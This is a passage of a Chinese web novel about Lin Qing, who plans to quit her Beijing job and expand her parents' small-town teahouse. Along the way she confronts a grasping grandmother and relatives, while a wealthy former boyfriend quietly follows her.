“你让大姨来店里卖糖水,收入按分红给她,只要比她收入高,带动店里人流量,就是双赢。”林清说。 林母眼底一亮,随后又升起纠结无奈。 早些年的时候,林母也想帮帮章凤,让她来店里当服务员,好歹稳定,只是林老太太一直闹,生怕林母有人撑腰,一直嚷嚷说林母要让娘家的人来占便宜,搬空家里,章凤不愿意让妹妹为难,就主动走了。 林老太太每天都来店里,谁知道会闹出什么糟心事。 她说话又毒又刺耳,林母怕章凤受伤。 “你去问问大姐吧。”林父对林母说。 林母动了动口,想说些什么,林清很快掀过这个话题,“淮海路的那块地,不能卖。” 林父和林母再一次看向她。 林清:“我要在那里盖一栋新楼,开一家大茶楼,在盖楼期间,这家老茶馆将成为我们新店的各种试验田,在新店开业前,尽量试错。” 林父林母再一次震惊。 当然,这一种震惊还包含着巨大的惊喜。 他们原本的想法,就是攒点钱,在那块新地上建一栋茶楼,省了房租,节约成本,压力也更小点。 林清不仅要从首都回来,还要继承他们的产业,开一家更大的茶楼,这也是他们的梦想啊。 最高兴的莫过于林父了,他喜不胜收:“我们家小清就是不一样啊,我和你妈最多就想着盖好楼就搬过去,什么试验田,试错,大公司大企业才会这么干吧?” 不愧是他女儿,懂得真多! 林母笑眯眯:“我觉得这个主意好。” 林清已经习惯父母对她的无底线的赞扬信任,她对林父说道:“我会尽快找人出设计图,到时候您就尽快跑手续,联系工程队,马上开工。” “行!爸听你的!”林父乐呵呵。 开茶楼好啊。 自己盖房也好啊,也算有房子了。 就算之后不做生意,他们也有自己的房子住,铺面还能出租,亏不了本。 要是生意不好,他们就开夫妻店,不用请人,赚个生活费就成,没压力! * 林清浅浅睡了个午觉。 两点半,她起床下楼,瞧见店里和遮阳篷都坐满了人,乌压压一片。 林清有些诧异,这可比周末那天都热闹多了。 李桂兰看出林清的疑惑,解释说是附近的庙会在做活动,不止他们家,附近的茶楼都坐满了。 这种活动一年没几次。 林清了然。 林母冲茶的速度都变快了,大声喊着:“把茶端过去。” 李桂兰忙得脚不沾地,连忙又去端茶。 玻璃柜前也围了几个人,开口叫着: “帮我拿块蛋糕。” “要两个奶香馒头。” “服务员。” ……. “来了。”林清走过去,伸手拿了夹子,又扯过一旁的袋子,“要一块虎皮蛋糕是吗?” “嗯,多少钱?” “2块。”林清把蛋糕递过去,又把蒸笼第一 层抬起来放到一边,露出底下一笼奶香四溢的馒头,她快速夹了两个。 林清已经很久不帮家里干活了,但肌肉记忆还在。 她伸手拿过铁盘,夹着一根大油条,熟练用剪刀剪成一块块,再往边上舀一勺白糖,端给顾客。 有了林清的加入,林母几人减轻不少工作量。 没人的时候,林清将装糕点的玻璃门打开,弯下身子,拿着夹子把铝盘里的糕点往前放,方便一会夹。 她看着卖得最少的菠萝包,夹了一个出来,放在袋子里。 林父从后厨端来一笼肉包,林清咬了一口手里的菠萝包,嚼了两下,对他小声笑道:“爸,你这一次做的菠萝包怎么吃着有点干巴?” 表层的酥皮软塌塌不够脆沙,面包体噎嗓子不够软。 虽然只有2块钱一个,但真的有点难吃啊,难怪卖不动。 林父:“我们家的菠萝包一直都不好吃,你吃大肉包。” 林清被他的自知之明逗笑。 身后传来一道男声:“你好,我要一个大肉包,请问还有吗?” “有的。”林清回头,对上戴眼镜的小伙子,含笑道,“稍等,马上给你拿。” 苏航在省外读大学,今年刚毕业回来,他听到林清一口标准的普通话,眼底一亮,对上她弯着的眉眼时,莫名有些紧张羞涩腼腆起来。 眼前这个女孩子长得白净透亮,气质优雅得体,不卑不亢,一言一行都和这个街边的苍蝇茶馆格格不入。 林清将打包好的肉包子递给苏航,“你还需要什么吗?没有的话就4块。” “嗯……”苏航看了眼,“给我拿个粽子吧。” 他中午饭还没吃,有点饿。 “好的。”林清走到里面。 苏航看着她,不由在想,她那一口流利标准的普通话,不像本地人,他们出去上学久了,一句话就能听出区别。 像他们去省外,沿海的普通话口音,开口就直接报身份证了,一秒猜出来是哪里人。 “需要剥了吗?”林清又问。 “啊?”苏航慢了半拍,“什么?” 林清笑:“我帮你把粽子剥了吧,省得脏了你的手,方便直接吃。” 她话音未落,手上已经套了袋子,解开绑着粽身的绳子,三两下就剥好了,将剥好的粽子装在一个干净的白色塑料袋里。 “谢谢啊,麻烦了。”苏航有些不好意思。 “应该的,顺手的小事,”林清重新拿了个袋子,把肉包子和剥好的粽子全放进去,“包子4块,粽子6块,正好10块,二维码在墙上。” 苏航扫完码,还想问林清是不是本地人,她已经走到另一边,给其他顾客夹糕点去了。 他有些失落,只能先离开。 这条街今天都很热闹,道路两边都停满了车子,苏航走到马路对面,又往前走了五十米,才在一辆黑色的宝马七系前停下来,开门上了驾驶座。 “舟哥,这家茶馆的东西真便宜,肉包子才4块。”苏航打开袋子,把肉包子递给沈明舟。 两人刚刚开车路过,沈明舟突然说这家茶楼的肉包子不错,要下去买,问他吃不吃。 苏航是坐沈明舟的顺车回市区,大学生回小县城难找工作,他通过表哥搭线,想跟着沈明舟当助理,自然很有眼力见,立刻停车主动去买。 沈明舟接过肉包子,随口一问:“你吃的是什么?” “粽子,这里的粽子更便宜,一个粽子才6块,别的茶馆都卖8块,南记茶楼卖12块!”苏航把粽子拿出来,“这家茶馆服务很好,那个美女还给我剥好,说是免得脏了我的手。” 苏航说着笑道:“不知道是不是这家茶馆的儿媳妇,看着不像本地人,普通话标准,长得非常白又好看。” 男生去省外读书,娶个外地儿媳妇也正常。 沈明舟刚要撕掉肉包子底层纸的手顿住,看向解开装粽子袋子的苏航,开口问:“这家的粽子,也很好吃吗?” 苏航哪知道啊。 他也是第一次吃,上司都没吃过,作为一个合格的下属,当然不能先尝鲜。 “舟哥,要不,你尝尝?”苏航佯装大方,献出了他那个被剥好的粽子,塑料袋子都被打开了,粽叶的清香和浓郁的肉香在车内弥漫。 苏航想,沈明舟肯定瞧不上6块钱一个的粽子。 他象征性问问罢了,这叫会来事儿! 4.县城首富恋爱脑学长的白月光(4) “谢谢。” 沈明舟没有客气,伸手从苏衡手中接过粽子,顺带将自己的肉包子放在他手里, 苏航看着手中的肉包子,粽子已经被沈明舟放在嘴边,尝了一口。 “不错,挺好吃的。”沈明舟说。 苏衡看到粽子里里面不仅有大块黑猪肉,还有流沙咸蛋黄,他都忍不住咽了咽口水,哪有不好吃的道理。 还是剥干净的粽子,真是失策啊失策。 苏衡更饿了,他埋头,狠狠咬了一口手中的肉包子。 入口的瞬间是松软似棉的面皮,紧接着是浓郁的肉汁,甜咸交织。 大块弹牙爆汁的瘦肉紧实不柴,里面还有半颗水煮蛋,一口下去,蛋白Q爽,蛋黄粉糯。 软、爆、弹、沙,香。 口感丰富极了。 苏航眼底猛地一亮,捧起巴掌大的肉包子,再一次张大嘴咬了一口,没有吃到粽子的失落悉数散去,冲着沈明舟含糊不清道:“舟哥,这家茶馆的肉包子,真好吃啊!” 而且才4块钱,性价比拉满! 沈明舟吃着手中的粽子,轻声道:“他们家最有名的就是肉包子,柴火蒸出来的。排骨包也不错,下次你可以尝尝。” “下次我肯定要来尝尝。”苏航三两下就把那个大肉包子吃完了,还有些意犹未尽。 下一次,他不仅要吃排骨和肉包子,一定得买个粽子! “舟哥,我们回县区了。”苏衡启动车子,打了方向灯。 “嗯。”沈明舟透过后窗,眸光看向茶馆那边。 林清拿着打包好的包子和收款码,走到路边,将袋子挂在那个带着孩子的妇女电动车上。 她柳眉弯弯,还弯腰笑着逗了下坐在儿童椅上的小孩子。 看起来,她过得很好。 沈明舟很清楚,她在哪都会过得很好,也会努力让自己过得好。 有他没他,都不会影响她人生发展的轨迹。 那一段刻骨铭心的恋爱,不过是她人生路上的一道风景,或许已经有人能时刻陪在她身边。 他不敢打听,也不敢问。 黑色的宝马缓缓启动车子,往县区开。 一路上,沈明舟没再说话,默默小口吃着粽子。 苏衡没多言,只是会偶尔用余光观察沈明舟。 他表哥和沈明舟是高中好友,两人在同一个寝室关系还不错,因为两家关系好,对方才舔着面皮想要给他谋个工作,要不然,凭借他自己,怎么可能会搭上沈明舟的车。 苏航之前就稍稍了解过沈明舟,用他表哥的话来说,沈家别说在县城,就是整个省,资产都是排得上名号的。 沈家的资产涉猎很广,有县城最好的酒店、最大的商场、最高的写字楼、有自己的加油站、地产公司等大大小小实体投资,是纳税大户,这个县城真正的人上人。 而且沈家已经富了几代,多少有点底蕴,与那些借着近代发展红利成为暴发户的有钱人不同。 这一点,从沈明舟身上就能看出来,他内敛低调,说话谦和有礼,穿衣打扮休闲清爽,没有半点高高在上的优越感,反而平易近人又松弛感满满。 苏衡见过不少县城的富二代,说白了,就是富一代靠着发展机遇快速赚了点钱,家庭认知和个人素质还没提上去。 早些年法治还没那么完善严谨的时候,那群富二代胆子张狂成什么样的都有,赌博泡妞打架斗殴都是小事。 苏航第一次开这么好的车,多少还有点紧张,后面车还在鸣笛催促,沈明舟温声提醒:“没事,让他。” “好的舟哥。”苏航呼了口气。 他看着闭目养神的沈明舟,放缓车速,余光又忍不住看了他两眼。 沈明舟长得清俊出挑,比苏衡高了大半个头,目测都有一米九。 关键是这么有钱,气质卓越,又顶着沈家独子的身份,沈明舟私生活一点都不乱。 他表哥对沈明舟的评价就是人品好,靠得住,让他一定要跟着好好干。 回到县区。 苏衡中途下车买了两瓶水,还帮沈明舟买了他点名需要的手机充电器。 轿车在苏衡家的老小区路口停下,他可不好意思让沈明舟送到家门口。 苏衡下车的时候,沈明舟打开汽车上的储物箱,从一沓红钞里抽出几张递给他,出口道:“明天早上,你去利海集团报道,我会先打电话跟负责人说一声。” 巨大的惊喜让苏衡忍不住当场咧开嘴角,直到沈明舟开车走了,他才冲着尾气摆手:“谢谢舟哥!” * 林记茶馆。 林清刚出面包房,就遇到正从后厨端着面汤出来的李桂兰,对方冲她使了个眼色,又看了看遮阳棚外。 跟着她的视线,林清看到正往棚里走的林老太太,她的背微微驼,头发已经花白,动作却敏捷硬朗。 林老太太看到今天有这么多客人,那双浑浊的眼珠子滴溜转,低头从兜里拿出一张过胶的硬纸,上面印着清晰的二维码。 离林老太太最近的一张桌子,坐着五个中年男人,每个人都点了一份主食,一杯茶,桌上还有几块糕点。 林老太太迅速算出价格,怎么着,也得五六十块了。 她每次就挑这种钱多的,毕竟钱少的才几块。 几个中年男人正讨论着庙会的事情,说到正激动处,突然被出言打断。 林老太太把二维码伸过去,脸上带着笑:“能先把账结一下吗?” 他们点的东西东西才端上来,就要付钱,桌上的人瞬间蹙了眉头,又见她是个老太太,不好多说。 这行为,好像怕他们会逃账一样,让人心生反感。 “一会再结。”桌上有个男人沉了声说了句。 林老太太一辈子务农,眼界浅,难得有一桌钱不少,不愿意放过,又把二维码往前伸了伸,脸色为难:“今天人太多,要不你们谁先结一下账?就扫扫码的事,耽误不了什么时间。” 这副样子,和讨饭已经没区别。 桌上的几人脸色黑沉,全然被破坏了心情,都没了吃东西的胃口,要是换成店里其他人让他们结账,早就破口大骂了。 就因为是个老太太,硬生生忍着。 这家店,在他们心里被他们拉入黑名单。 “我来。”刚刚沉声的男人,一脸不耐烦掏出手机,“多少钱?” 林老太太见状,一边道谢一边挪动脚步,不断把二维码往前伸。 动动嘴皮子就能得到五六十块,林老太太可不管这些人心里怎么想。 她只会觉得自己真有能耐,能赚钱。 林老太太拿着桌上的单子,正在快速算着,心底兴奋:“58块。” 就在那个男人举起手机要扫码的时候,突然被一只纤细白皙的手拦住。 “干嘛呢?”一道清亮的声音传来,紧接着带着严厉的训斥,“客人还在吃东西,你在干嘛?” 林老太太见是林清,眼底愣了下,面上露出心虚。 林清面色冷淡,伸手作势要抢那张二维码:“谁的二维码?给我看看。” 林老太太连忙把二维码揣在怀里,还往后退了半步,脸上挤出一抹笑:“你什么时候回来了?没听你爸说啊。” 林清压根不理会她,提高声调质问:“我问你手里拿着谁的二维码?” 林老太太还未接话,林清板着脸再一次斥责道:“谁让你这么干的?光明正大抢钱吗?” 林老太太含含糊糊说:“不是,今天这么多人,我帮你爸收账。” “客人吃好了自己会结,用你收?”林清伸手,“把二维码给我看看。” 林老太太眼神飘虚,顾左右而言他,她看到走出来的林父,像是抓到了救命稻草,着急大声喊:“老二,老二!” 林父瞧见林老太太,又见顾客正在好奇张望,连忙也跑着过去。 “妈,您又在捣什么乱?”林父上前,低声对林老太太说。 “我没捣乱,我能捣什么乱?”林老太太藏着二维码,赶紧藏到林父身后,说着话趁机离开。 林清没揪着不放,等林老太太走后,她脸上挂着歉意,对那桌客人低声道:“不好意思,影响了大家的用餐体验,一会给您打五折。” “实在是抱歉了。” 几人本来心里有火气,见林清又是道歉又是打折 ,瞬间一点火苗都不剩了。 什么用餐体验,就一个街边的苍蝇小馆,扯不上那么高大上。 再说了,那个老太太的行为,应该不是店主指使的。 谁家没点糟心事呢? 茶馆后厨。 林老太太阴着脸对林父发火,语气尖酸刻薄:“你养的好女儿,当着那么多人,她怎么跟我说话呢?” “一年回不了一趟,我都快死的人了,她连一声问候都没有,你养的这个女儿,肯定是白养!没用的!等你死了都没人收尸!” “妈——”林父刚要反驳,林老太太就开始抹着眼泪,“我真是命苦啊,还不如死了,你大嫂看不惯我,天天骂,来你这,也是天天被骂,死了一了百了。” “您干嘛呢?外面都是客人。”林父头疼又无奈,往外看了看,生怕被客人听到,来看热闹。 林老太太非但没收敛,反而更来劲。 撒泼打滚和蛮不讲理就是她最大的拿手戏,她年轻时,和村里哪一个妇人没骂过架?没有败绩。 “嚎够了吗?” 一道冷淡的声音从身后传来。 林老太太哭声都微微一顿,扭头看到神色平静看着她的林清。 林清眸光带着疏离,还有波澜不惊的平静,加上她本身就有不小的气场,一下就把林老太太镇住了。 林清和林父林母不同,也和这个小县城的绝大部分人不同。 上一辈女人大多隐忍又吃苦耐劳,被孝道捆绑,哪怕月子里被婆婆欺负,生的女儿被嫌弃,吵过闹过,随着时间推移,还是会恢复表面和谐,不然就会被戳脊梁骨骂不孝顺,引来全社会的指责。 老人年迈后,周围人又会道德绑架,说人都要死了,还提以前的事做什么?让她们不计前嫌,继续给养老送终,还说这是给下一辈积德,给子女做榜样。 就连强势的林大伯母,都是捏着鼻子,给林老太太一口饭吃。 林老太太知道这个孙女脾气厉害,油盐不进,还很记仇,就因为十五六年前她当面辱骂了林母,林清就再也没叫过她一声奶奶。 林清大多时候是不吵不闹,是那种丝毫没把她放在眼里的那种轻视,哪怕林父林母开口让她叫人,她都不给林老太太一点好脸色的,时不时还会出口一两句能噎死人的话。 尤其是林清上了名牌大学,又在首都大公司上班,林老太太觉得这个孙女更强势了,不敢惹。 “爸,妈有急事叫你呢。”林清看向林父,说了一句。 “哦,来了。”林父是老婆奴,真以为有什么急事,立马撒腿就往外走。 “老二,”林老太太拦都拦不住林父,她有些害怕和林清独处,跟着也要往外走,低头嘴里嘀咕,“家里鸡还没喂,我给忘了,得回去了。” 林清步伐稍稍往旁挪动。 林老太太背已经坨了,而林清净身高172,她站在门槛的台阶上,居高临下地俯视林老太太。 “我不管是谁的收款码,这是最后一次,”林清声音不大,字字传进林老太太耳朵里,“我今天心情不错,给你一点老脸。” 林老太太还想张口撒泼狡辩,林清面无表情继续道:“下一次,我就当着所有人的面,把你骂成不如一条狗,再当场报警把你送警局去,不信你就试试。” 林清还冷冰冰补充一句:“我不是我爸妈,收起你农村泼妇那一套,别在我面前闹事,我不会多看你一眼。” 林老太太心里有些发怵。 她知道,林清是真能干出来。 女孩子读了书,翅膀就硬了,气死她了! 生了个赔钱货还是白眼狼。 林父走过来,林老太太还没告状,就听到林清对林父开口,话语不容置否:“爸,马上给大伯父打电话,让他立刻接人回去。” 她说的是接人,别说叫奶奶,就连一声老太太,她都不愿意提,仿佛就是一个毫不相干的人。 “.....好,我这就打。”林父愣愣的,也开始听话掏出手机。 林老太太见林父也这么听林清的话,简直气死了。 她看着冷漠无比的林清,不敢吱声,不自觉缩了缩短小的脖子和身躯。 5.县城首富恋爱脑学长的白月光(5) 林大伯接到林父的电话,还不耐烦嚷嚷:“我去接?我哪有空去接?你把她送回来不就得了?” 林大伯母还添油加醋道:“老太太才刚去,你就巴不得把她赶回来啊?是你的意思还是你老婆的意思?” 两人话音未落,就听到电话那头传来一道年轻的女声。 林大伯母的脸瞬间变了颜色,一巴掌拍在林大伯父手臂上:“快去!林清回来了!” 林大伯父慌忙进门拿车钥匙,骑着他那辆无牌破摩托车,就往茶馆赶。 他们和林老太太一样,不怕林父,也不怕林母,却对林清很忌惮。 那丫头,和她爸妈不一样,不讲一点人情。 林清在上初中的时候,林大伯母想要拿捏这个小丫头片子,逢年过节见面时,就会斥责说她没礼貌。 结果,林清当面就板着脸怼了一句:“你有什么资格和身份教育我?关你什么事?”她冷冷道,“咸吃萝卜淡操心。” 毫不客气的话直接让林大伯母下不来台。 林父连忙上前劝说。 林清捏着拳头,委屈质问:“爸,你也要帮外人欺负我吗?” 林父顿时急赤白脸,赶着去认错,连连哄林清。 林强当时已经成年,长得五大三粗,两家有些矛盾,他早就看林清不顺眼,直接冲过来指着林清的鼻子一顿臭骂。 林清也不示弱,话语犀利把他从头到尾讽刺一遍,形容他是头大无脑,宛如蠢猪笨驴又自私自利的蛀虫。 林强气得面色铁青,抬起手就一巴掌打下去。 林大伯母不仅没拦着,还暗自兴奋窃喜,就林清那小胳膊小腿,怎么打得过她儿子? 指定是被她儿子揍一顿,给她出出气。 林清闪开了,被打在手上,白皙的胳膊直接红了一片。 让非但没害怕,反而以一种更快的速度,直接回了林强一巴掌。 “啪——”声音清脆极了,用力到林清的手都有些发抖。 林强被打蒙,气得火冒三丈,还没等他还手,就见林母怒火滔天,从厨房拿出一把菜刀,喊着要把林强给剁了。 看到女儿被打的林父,猩红着眼,走到一旁捡起砖头,一副要让林强脑袋开瓢的架势。 林大伯母被吓傻,林强更是吓得屁滚尿流,捂着脸跑了。 之后好几年他都不敢单独见林父林母,看到林清也离得远远的。 林大伯和林大伯母对林清指指点点的毛病,从那以后彻底治好,从不再犯。 不惹林清,他们还能好好和林父林母说话,加上那丫头越来越有主见,见了更大世面,比小时候更不好对付,惹了对他们没好处。 不到半个小时后。 林大伯骑着摩托车停在了茶馆路边。 远远的,他就看到站在柜台前的林清。 要说这丫头,真是集合林父林母优良基因,长得那么高还那么白,在省外待久了,跟外地人似的。 林清轻飘飘的视线扫过来,林大伯下意识低头。 应该没看见他吧? 他一抬头,就见林清淡淡的目光落在他身上。 这丫头,还是这副样子! “老太太,回去了!”林大伯没好气,冲着林老太太喊了一句。 林老太太快速朝路边走,她拎着一个袋子,里面是两袋店里卖的桃酥饼。 村里哪有什么吃的,更没人给她买早餐,早上吃个饼,总比自己起来煮稀饭强。 那么一小袋桃酥饼要十五块呢! 林大伯本来想接上林老太太赶紧溜,结果等林老太太走来,他转身一看,林清不知道什么时候站在他身旁。 林大伯吓了一跳,手上的烟都抖了抖。 “大伯,”林清叫了林大伯一声。 她突然这么礼貌,林大伯心里有不好的预感。 他脸上挤出一抹笑,“小清回来了?在首都怎么样?你爸说你干得不错啊,在大公司上班,赚了不少钱啊。” 林清并没有回答他的问题,而是看了眼林老太太问:“之前不是说好,老太太跟着你生活,怎么现在隔三岔五就来茶馆了?” 林大伯还没说话,林清唇角一勾,嗤笑了声:“八十岁的老太婆了,居然这么时髦,还学会玩收款码。” 她说完好心问:“是不是我爸每个月给的五百块不够花啊?” 林老太太心虚不敢说话,林大伯脸色僵住,那叫如坐针毡,脑子疯狂转动着在找借口。 当初关于老太太的赡养问题,他们本来可以拿捏林父林母,林母想落得清净,就得多出钱。 结果也是林清搅黄了。 林清当时不过是一个高中生,面对林大伯母口中嚷嚷要去告林父遗弃不赡养老人,林清冷静耐心给她普法。 按照他们这个小县城的收入和以往法院判决的案例,老太太完全跟着大儿子一家生活,林父作为二儿子,顶多给五六百一个月。 而现在,林家在村里有两间瓦房,林老太太住的那一间,是林父的。 林父会给老太太买点营养品和衣服,每个月拿不少茶馆里蛋糕饼干,还提供了住处。 如果老太太还来茶馆蹭饭,是不是说明老太太是林父赡养的? 如果这样,每个月给老太太五百块的,可就是林大伯一家,林父可以一分不用给,法院是支持的。 林大伯母当时就哑然了。 林父原本一个月会给林老太太几百,加上逢年过节,平摊下来怎么一个月都有一千。 这些钱都是林大伯一家拿了。 这么一闹,林清给出了方案,林老太太既然住在他们家的房子里,她爸每个月还给拿点饼干蛋糕,买点牛奶,那么一个月给三百就够了。 而且,老太太不能来茶馆,要是来他们家蹭吃蹭喝,林大伯一家就得出钱,他们家一分钱不给了。 林大伯一家没想到闹着闹着,钱还变少了。 林清说了,如果觉得不对或者不服,可以去告,让法官审判,这样也公平。 林大伯一家哪有钱给,只要林清在家,他们是万万不敢让林老太太去茶馆,生怕把那三百块也弄没了,还让他们出钱。 林大伯心里暗叫不好,开口对着林老太太破口大骂:“不是让你别来吗?一个没看住,你又跑来了!” 他越骂越狠:“在家我是少你吃还是少你喝了?想吃什么都给你买,你又往这边跑!都这么老了,还不让人省心,真是上辈子欠你的!成天还要看着你,迟早被累死!” 林老太太向着大儿子,被骂就受着,哪怕根本不是这样。 林大伯一家全都没正儿八经工作,哪有钱给她买吃的?几天都不见一块肉。 只有来茶馆,才能有点钱。 全家就指望那些钱了。 林清懒得看林大伯做戏,转身往回走。 林大伯赶紧让林老太太上车,把油门拧到最大,生怕被林清叫住。 摩托车行驶一段路后,林大伯才敢骂出声,他警告林老太太:“这几天,你别过去惹事,要是添了乱,那死丫头闹起来,耽搁了盖房子的事情,强子还怎么结婚?” 他们家就两间瓦房,其中一间还是林父的,林强好不容易谈了一个女朋友,哪敢把人往家里带,姑娘一看就吓跑了。 林大伯这辈子肯定是盖不起房子,希望都放在林父身上。 “我哪知道她突然回来了?”林老太太的手往后伸,抓着车位的铁架,“那死丫头在首都又不打算回来了,家里的房子总是要盖的,老二就她一个女儿,不给强子盖房还能给谁盖?他们最后还是得指望着强子送终!” 闻言,林大伯脸色又好了点。 在村里,老人死后,灵牌是要男孩捧着的,林清是个女孩子,又在首都,近几年回来越来越少了,林父林母赚的钱,最后还不是他儿子的? “她今年几岁了?”林大伯问。 “二十四五了,恋爱都没谈,再过两年,都没人要了!”林老太太啐了一口,“嘴皮子厉害得很,我看也嫁不出去!谁敢娶?!以为读了点书,就能耐了,等再过几年嫁不出去,有得哭!” 林大伯可不管这个,林清在首都别回来,林父林母的东西都留给他儿子就行。 “等她走了,我再找老二说盖房子的事。”林老太太说,“这房子,必须盖!全村人都盖了,就剩我们家,必须盖得气派!” “行。” 林大伯还未高兴两秒,就看到前面出现拦路的交警。 今天是庙会,他给忘了。 林大伯赶紧刹车,要转头逃跑。 “站住!”交警指着他怒声呵斥。 林大伯逃得更快了,坐在后面的林老太太都险些被甩下来,连忙双手往后抓。 …… 晚上。 林清从林父口中知道了林大伯被交警拦住的事。 林大伯没逃掉,被交警抓住了。 两人都没戴头盔,一人罚了一百块。 林老太太拉着交警哭诉,想要求放过,失败后坐在地上撒泼打滚。 结果交警把林大伯的那辆摩托车也拉走了。 超过行驶年限了,拉去报废。 两人是走路回去的。 “没了车,也是个麻烦事。”林父叹气。 那辆破车,可是林大伯家重要的行驶工具。 林清不紧不慢 接话:“这不是解决一个安全隐患吗?要是出了事,找谁说都没理。” “对啊,那辆车都开多少年了?本来就该报废,出了事,谁负责?”林母抿唇,“他还带着老太太,真要出事,你就得去解决,还指望他吗?” 林父这么一想,好像也有道理。 “还不戴头盔,多危险?”林母说起林大伯和林老太太几人,忍不住就开始念叨起来。 林清没参与这个话题,她早早回了房。 洗完澡,她拿起手机看到章凤给她打了个电话。 林清回拨。 章凤先是和她寒暄几句,问了她的近况,这才进入主题:“你妈给我打电话,让我去茶馆卖糖水,说是你的意思。” “对,”林清说,“现在天气热,茶馆冷饮少,大姨你来卖糖水的话,生意可能会比在小学门口稳定。” “茶馆人多,当然好卖,大姨也知道你是为我着想,只是——”章凤话语顿住,有些欲言又止。 “大姨,没什么好顾虑的,我这一次回首都把事情处理好,就会回来,”林清对她道,“我要回来接手茶馆,家里的事情,我做主。” 章凤一听林清要回来,比能去茶馆摆摊更让她高兴,“回来好,回来好啊,你爸妈就不用挂心了。” 就这么一个孩子,当妈的都明白林母的心情。 “再不回来,茶馆都要倒闭了。”林清半开玩笑,随即道,“大姨,您这两天就过来吧。” “明天就可以!”章凤笑,“你要回来,我就没什么顾虑的。” 林清:“对了,表哥最近还在那家小吃店上班吗?” 章凤的儿子何光骏对她也不错,很照顾她。 她上大学时,对方还偷偷给她塞了两千块,说是路途远,身上得多带钱。 对于一个打工族,两千块不少了。 “那家店倒闭了,他都失业在家一个月了,”章凤起来很愁,“我这段时间托人给他介绍对象,人家一听我们这条件,都瞧不上,上一个相亲对象可能说了什么不好听的话,他就再也不愿意去了,这段时间也不说话,一个人闷在屋里。” 林清很能理解,何光骏今年三十二岁,在小地方属于大龄光棍,尤其是早年丧父,家境贫寒,何光骏还内敛少言,这样的条件,结婚后过得更惨。 “这样啊,”林清提出一个方案,“我记得他们那家小吃店的烧烤酱很不错,要不让表哥问问配方卖不卖,我可以出钱买下来,让表哥下午在茶馆里卖烧烤。” “下午卖烧烤?”章凤话语迟疑。 “这有什么不行的?试试啊,万一赚钱了呢?”林清笑。 本地的茶馆一般就卖早餐和下午茶,晚上休息,晚上的小吃店和夜宵店才卖烧烤。 但是过几年,别说下午卖烧烤了,小茶馆为了生存,不仅卖早餐和下午茶点,在两顿饭点的时候还卖快餐,晚上就卖夜宵。 那是恨不得一天开24小时,街边的店一家比一家卷。 而且,林清想开的茶楼,就是什么都有。 ..... 次日早上。 沈明舟不知不觉又把车开到了林家茶馆附近。 知道林清在家,他这两天有些失眠,总是想来这里。 他还没开到茶馆,远远就看见林父拎着行李箱跟在林清后面,两人走到了一辆网约车旁。 林清跟父母道别,笑着坐进了车内。 她就是这样,每一次都会含着笑道别,然后回到首都,投入她的工作。 沈明舟学了很久,还是不能像她一样潇洒。 估计她放下了,而他一直没有。 网约车往前开了,沈明舟连忙踩油门,不紧不慢跟在后面。 沈明舟知道林清一定是去机场。 但在中途,他跟丢时,内心还是下意识慌了,心止不住砰砰砰跳。 很不冷静。 沈明舟加速一路赶到机场,在机场外看到了正在下车的林清。 她笑着跟司机道谢,就在沈明舟以为她会头也不回进机场时,她转身,往身后看去。 沈明舟在不远处,与她四目相对。 她应该看不到他的。 在沈明舟的视线里,林清扬唇笑了,还是那么明媚动人。 他内心止不住悸动,如两人刚在一起之初一般那么炽热浓烈,握着方向盘的手不自觉收紧。 他曾许诺,会留在首都陪她打拼,最后又不得不回来。 沈明舟一直觉得,这段感情,都怪他。 三个小时后。 沈明舟再看林清的社交账户,她的IP地址果不其然变成了首都,与他相隔两千几公里。 6.县城首富恋爱脑学长的白月光(6) 回到首都的林清,没有片刻犹豫,上班的第一天就递交了辞呈。 她和直属上司关系不错,对方极其欣赏她的能力,这几年主动替她申请加薪。 公司虽然一直在裁员,但上司话里话外表明本轮裁员名单没有她。 林清还是坚持要离职。 上司劝了两次,一再劝她再熬一熬,公司上市成功,她的身价也会翻倍。 大家在大城市漂着,赌的不就是这种难得的机会吗? 运气好点,公司上市,实现阶层跨越。 最后,对方见林清心意已决,只能同意了。 接下来和HR的谈话变得简单,只是工作交接麻烦了些,需要浪费大半个月。 林清不急,上司帮她争取了最好的离职赔偿,她手中的期权已经成熟,按照当初签下的合同,公司也会回购。 她要全部变现。 公司上市少说也是五六年后,她现在有更好的项目需要资金,没必要等了。 在此期间,林清都在盯着茶楼那边的设计图,每天都催进度。 她下班到家的第一时间,就是和林父林母打电话。 “女儿啊,这个预算要280万啊?是不是算错了?”林父看到了设计图和造价预算,直接惊掉下巴。 他以为就是建一栋房子,两三层,一层一百来平方,100万造价撑死了,铁定花不完,到时候他们家有了住处,还没了房租,很值得。 结果林清给的设计图,根本没有他们住的地方,整栋都是茶楼,就连剩下的五百平地皮,都要盖室外的场所。 “没算错。”林清回,“一层500平,一共2层,装修费钱。” “280万啊,”林父倒吸一口气,“我们家哪来那么多钱?” 林母忍不住凑过去说:“清清啊,这个投入,会不会太多了?” 他们辛辛苦苦攒了一辈子,才攒了不到200万,一下子要花掉近300万,天文数字。 “不多,”林清拿着手机往沙发走,盘腿坐在沙发上,仔细算账,“这几年行情好,你们给我的钱,理财收益赚了一些,加上我这几年上班攒的,到时候离职赔偿和期权变现,我再把公积金取出来,能有350万,足够用了。” 她这几年太忙,忙得连花钱都没时间,除了租房有花销,连打车费和夜宵都会在晚上加班后被公司报销,赚的大部分钱都剩下来了。 林父林母诧异:“我们家有那么多钱呢?!” 话落,林父又咧嘴笑,自豪道:“我女儿就是厉害哈。” 林清趁机道:“爸,我要开就开最大的茶楼,不然我回去做什么?我要做就要做到最好。” 这一直是林清的人生信条。 她要做的事情,就会拼尽全力做到最好,不留遗憾。 “好!”林父立刻拍桌敲定,中气十足道,“爸相信你!就是要这样自信!哪怕亏了,我们也认!” 林母面对镜头,笑得眼角露出几道细纹,对林清道:“清清啊,你还别说,自从你大姨和你表哥来了之后,店里的生意好了不少,年轻人和小孩子都变多了。” “中午的烧烤炸串比上午还赚钱,你大姨心情每天都乐呵呵。” 以前林家穷,章凤对林母多有帮扶,从小也照顾林母这个妹妹,能够帮到章凤母子,又能提高自己家的收入,林母打心眼里欣慰高兴。 一说起这个,林父对林清开本地最大茶楼的信心再一次膨胀,自豪道,“我们女儿出的主意,哪有不成的?你没听大姐说啊,清清就是我们家最聪明的人,听她的,准没错!” 林清出了9500块钱把何光骏前任老板店里的烧烤配方买下来,又建议何光骏把普通的炸串变成裹面粉的炸串。 主打炸鸡爪鸭爪和鸡翅,还要加入炸芋头。 炸芋头简单,裹上面粉,炸好之后,在表皮涂上一层炼乳。一口下去,甜、脆、糯,深受小孩子和老人喜爱,卖得最火。 